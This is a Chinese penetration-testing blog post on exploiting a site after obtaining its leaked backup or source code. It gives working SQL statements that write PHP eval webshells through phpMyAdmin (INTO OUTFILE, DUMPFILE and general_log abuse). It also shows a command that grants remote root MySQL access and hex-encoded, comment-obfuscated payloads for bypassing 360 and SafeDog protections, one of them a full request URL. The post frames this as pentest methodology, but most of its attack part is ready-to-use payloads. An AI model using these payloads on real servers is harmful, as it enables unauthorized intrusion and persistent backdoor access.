渗透思路整理:当我们拿到网站备份之后的思路
2019-11-28 10:30:13 Author: xz.aliyun.com(查看原文) 阅读量:317 收藏

渗透测试中,我们信息收集过程中有些时候会扫到网站的备份文件,或者通过git、svn等信息泄露获得网站的源码。以下我提供几个自己在渗透测试过程中遇到备份文件或者网站源码之后的几个思路。

一、 使用webshellkill等webshell查杀工具进行源码查杀

这一步可以获取网站源码里面已有的webshell,可以直接去连接webshell,说明有前人已经替你打好那些常规的渗透,你只需借助前人的肩膀继续深入渗透就可以了。古人诚,不欺我,站在巨人的肩膀上才能有更高的成就。
网站备份可以扫到webshell的原因有以下几方面:

网站搭建选择模板的时候,没有从正规网站进行下载,而是使用了别人传到网上带有后门的模板
这算是供应链攻击的一种形式吧,毕竟黑产从业人员很多人都以类似的方式掌握大量的网站权限进行二次倒卖网站权限牟利。
类似案例:phpstudy后门事件
黑客将二次修改之后装有后门的phpstudy放到各个软件平台供网站开发者下载使用,控制大量肉鸡。
详情:https://xz.aliyun.com/t/6423

网站已经被先来的黑客控制
这种情况,在渗透过程中遇到的比较多,常常是你渗透的目标已经成为别人的肉鸡,而你这时扫描到前人留下的后门,可以省下很多精力。
暂未找到类似案例

网站所用模板官方的后门
这个说实话,如果真的是官方留下的后门,一般来说很难被常规的webshell查杀工具杀出来,因为官方既然敢留后门,就说明他们的后门一定经过免杀,一般杀软杀不到,这种需要借助代码审计来识别。
类似案例:php input后门,忘记是哪里看到的了。

二、 查看数据库相关信息

phpmyadmin、adminer等在线数据库连接工具
通过网站数据库连接文件,我们可以找到网站的数据库地址、账号、密码等信息,如果网站有phpmyadmin、adminer等在线数据库连接管理工具,我们就可以直接用数据库账号密码登陆进行webshell上传。

phpmyadmin常用getshell方法:

  1. 数据库导出webshell
    导出WebShell主要条件:

    1.Root数据库用户(root权限)
    2.网站绝对路径(确定有写入权限)
    3.magic_quotes_gpc:Off(关闭)

导出WebShell其它条件:

1.magic_quotes_gpc:开启时,会对’单引号进行转义,使其变成“\”反斜杠。
2.secure_file_priv:此配置项用来完成对数据导入导出的限制,如允许导入导出到指定目录。
3.file_priv:file_priv权限允许你用load_file、into outfile读和写服务器上的文件,任何被授予这个权限的用户都能读和写服务器的任何文件。

相关操作语句:

into outfile方式: select '<?php @eval($_POST[pass]);?>' into outfile 'c:/phpstudy/www/webshell.php';
into loadfile方式:select '<?php @eval($_POST[pass]);?>' into loadfile 'c:/phpstudy/www/webshell.php';
into dumpfile方式:select '<?php @eval($_POST[pass]);?>' into dumpfile 'c:/phpstudy/www/webshell.php';
  1. phpmyadmin日志文件写shell
show global variables like "%genera%";          //查询general_log配置
set global general_log='on';              //开启general log模式
SET global general_log_file='C:/phpStudy/WWW/webshell.php';    //设置日志文件保存路径
SELECT '<?php @eval($_POST[pass]);?>';              //phpinfo()写入日志文件
set global general_log='off';              //关闭general_log模式
  1. 绕过杀软写shell
当有WAF拦截的时候 我们可以尝试外链 这样提交的数据包不被WAF拦截
grant all privileges on *.* to 'root'@'%' identified by 'root' with grant option;     //开启MySQL外链
flush privileges;                      //刷新MySQL系统权限相关表
这里的这些技巧是从别人那边收集过来的 感谢!!!
绕过360 (通过内联注释)
select '<?php @eval($_POST[pass]);?>' into /*!50001outfile*/ 'c:/phpstudy/www/bypass.php';
绕过网站安全狗<4.0 通过hex编码
select 0x3c3f7068702024613d636f6e766572745f75756465636f646528222638372d5339372954206022293b40246128245f504f53545b27212a21275d293b3f3e into outfile 'C:\\phpStudy\\WWW\\bypass.php';
绕过安全狗4.0 通过hex编码+内联注释
/*!50001select*/ 0x3c3f7068702024613d636f6e766572745f75756465636f646528222638372d5339372954206022293b40246128245f504f53545b27212a21275d293b3f3e into outfile 'C:\\phpStudy\\WWW\\bypass.php';
  1. 绕过其他
    绕过server_sql.php、tbl_sql.php、db_sql.php + 安全狗导出WebShell
    以上的三个文件的作用是(执行SQL语句)
    但是如果被删除了可以通过以下的方法
    (1)token需要
    (2)自己选择一个数据库和数据表
    (3)参数pos=0
    &sql_query=/*!50001select*/ 0x3c3f7068702024613d636f6e766572745f75756465636f646528222638372d5339372954206022293b40246128245f504f53545b27212a21275d293b3f3e into outfile 'C:\\phpStudy\\WWW\\bypass.php';
    例如 http://127.0.0.1/phpmyadmin/sql.php?db=数据库名&token=token值&table=数据表名&pos=0&sql_query=/*!50001select*/ 0x3c3f7068702024613d636f6e766572745f75756465636f646528222638372d5339372954206022293b40246128245f504f53545b27212a21275d293b3f3e into outfile 'C:\\phpStudy\\WWW\\bypass.php';
    
    ##三、 审计代码
    这点主要针对网站根据开源cms进行二次开发,或者闭源软件,自研软件等往往有好的效果。可以借助法师的代码审计系统进行简单的自动化审计,着重看上传点、sql注入点、RCE点,找到那些明显没有过滤的点,直接进行突破。
    这种方法针对不会代码审计的人也有很好的效果,往往一个上传点,稍微一看就能突破,比较简单。
    针对代码审计大牛更是不在话下。

四、 查找各种tools、密码等信息

有些网站会有一些功能之外的tools,方便网站管理员进行各种操作,这些往往都是一个php文件,密码就内嵌在代码之中,翻到之后直接可以登录使用。
类似案例:
· 帝国备份王getshell
· Discuz版本转换工具getshell
· ewebeditor编辑器getshell
等等···

备份文件在我们渗透过程中还是比较常见的,在此谨提供一些我自己的思路,如果大佬还有其他骚思路,欢迎不吝赐教!

一些文中提到的工具:
D盾webshell查杀:http://www.d99net.net/down/WebShellKill_V1.2.9.zip
seay代码审计系统:https://www.waitalone.cn/seay-source-code-auditv2.html
注:工具来源于网络,安全性自查,一切问题与本文作者无关。


文章来源: http://xz.aliyun.com/t/6817
如有侵权请联系:admin#unsafe.sh